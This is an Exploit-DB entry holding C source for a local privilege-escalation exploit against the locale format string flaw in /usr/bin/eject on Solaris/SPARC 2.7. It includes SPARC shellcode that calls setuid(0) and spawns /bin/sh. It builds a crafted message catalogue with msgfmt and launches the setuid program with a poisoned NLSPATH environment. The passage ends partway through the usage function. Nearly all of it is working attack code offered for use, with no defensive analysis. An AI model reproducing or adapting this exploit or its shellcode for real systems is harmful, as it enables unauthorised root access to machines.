Exploit-DB #197
Description: Solaris/SPARC 2.7 / 7 locale - Format String
Type: local
Platform: solaris
Date: 2000-11-20
Author: Solar Eclipse

Exploit:
/*
   Exploit for the locale format string vulnerability in Solaris/SPARC 2.7 / 7
   Based on the exploit by Warning3 <warning3@nsfocus.com>

   For additional information see http://www.phreedom.org/solar/locale_sol.txt

   By Solar Eclipse <solareclipse@phreedom.org>
   Assistant Editor,
   Phreedom Magazine
   http://www.phreedom.org

   10 Oct 2000
*/

#include <stdio.h>
#include <sys/systeminfo.h>

#define NUM     98          /* default number of words to dump from the stack */
#define ALIGN   3           /* default align (can be 0, 1, 2, 3) */
#define RETLOCOFS -16       /* default offset of the return address location */
#define SHELLOFS -6         /* default offset of the jump location from the beginning of the shell buffer */
#define RETLOC  0xfffffffd

#define PATTERN 1024        /* format string buffer size */
#define SHELL   1024        /* shell buffer size */

#define NOP     0xac15a16e

#define VULPROG "/usr/bin/eject"

char shellcode[] =      /* from scz's funny shellcode for SPARC */
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"  /* setuid(0)  */
    "\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09"  /* dup2(1,2)  */
    "\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"
    "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
    "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
    "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

/* get current stack point address */

long get_sp(void)
{
    __asm__("mov %sp,%i0");
}

/* prints a long to a string */

char* put_long(char* ptr, long value)
{
    *ptr++ = (char) (value >> 24) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 0) & 0xff;

    return ptr;
}

/* check if a long contains zero bytes */

int contains_zero(long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}

/* create the shell buffer */

void create_shellbuf(char* shellbuf, int align, int retloc)
{
    char *ptr;
    int i;

    /* check align parameter */

    if (align < 0 || align > 3) {
        printf("Error: align is %d, it should be between 0 and 3\n", align);
        exit(1);
    }

    /* check retloc parameter */

    if (contains_zero(retloc) || contains_zero(retloc+2) ) {
        printf("Error: retloc (0x%x) or retloc+2 (0x%x) contains a zero byte\n", retloc, retloc+2);
        exit(1);
    }

    /* start constructing the shell buffer */

    ptr = shellbuf;

    for (i = 0; i < align; i++) {
        *ptr++ = 0x41;      /* alignment padding */
    }

    ptr = put_long(ptr, 0x42424242);        /* this is used by the %u format specifier */

    ptr = put_long(ptr, retloc);            /* put the address of the low order half-word of the return
                                               address on the stack */

    ptr = put_long(ptr, 0x42424242);        /* this is used by the %u format specifier */

    ptr = put_long(ptr, retloc + 2);        /* put the address of the high order half-word of the
                                               return address on the stack */

    /* fill the shellbuf with NOP instructions but leave enough space for the shell code */

    while ((long)ptr + 4 + strlen(shellcode) + 1 < (long)shellbuf + SHELL) {
        ptr = put_long(ptr, NOP);
    }

    memcpy(ptr, shellcode, strlen(shellcode));      /* copy the shellcode */
    ptr = ptr + strlen(shellcode);

    /* add additional padding to the shell buffer to make sure its size is always the same */

    while ((long)ptr < (long)shellbuf + SHELL - 1) {
        *ptr++ = 0x41;
    }

    *ptr = 0;                               /* null-terminate */

    /* at this point the shell buffer should be exactly SHELL bytes long, including the null-terminator */

    if (strlen(shellbuf) + 1 != SHELL) {
        printf("Error: The shell buffer is %d bytes long. It should be %d bytes. Something went terribly wrong...\n",
                strlen(shellbuf)+1, SHELL);
        exit(1);
    }

    return;
}

/* execute the vulnerable program using our custom environment */

void execute_vulnprog(char* pattern, char* shellbuf)
{
    char *env[3];
    FILE *fp;

    /* create message files */

    if (strlen(pattern) > 512) {
        printf("Warning: The pattern is %d bytes long. Only the first 512 bytes will be used.\n", strlen(pattern));
    }

    if ( !(fp = fopen("messages.po", "w+")) ) {
        perror("Error openning messages.po for writing.");
        exit(1);
    }

    fprintf(fp, "domain \"messages\"\n");
    fprintf(fp, "msgid  \"usage: %%s [-fndq] [name | nickname]\\n\"\n");
    fprintf(fp, "msgstr \"%s\\n\"", pattern);
    fclose(fp);

    system("/usr/bin/msgfmt messages.po");
    system("cp messages.mo SUNW_OST_OSCMD");
    system("cp messages.mo SUNW_OST_OSLIB");

    /* prepere the environment for the VULNPROG process */

    env[0] = "NLSPATH=:.";
    env[1] = shellbuf;              /* put the shellbuf in env */
    env[2] = NULL;                  /* end of env */

    /* execute the vulnerable program using our custom environment */

    execle(VULPROG, VULPROG, "-x", NULL, env);
}


/* print the program usage */

void usage(char *prg)
{
    printf("Usage:\n");
    printf("    %s [command] [options]\n\n", prg);
    printf("Commands:\n");
    printf("  dump                   Dumps the stack\n");
    printf("  shell                  Dumps the shell buffer\n");
    printf("  exploit                Exploits /usr/bin/eject\n\n");
    printf("Options:\n");
    printf("  --num=96               Number of words to dump from the s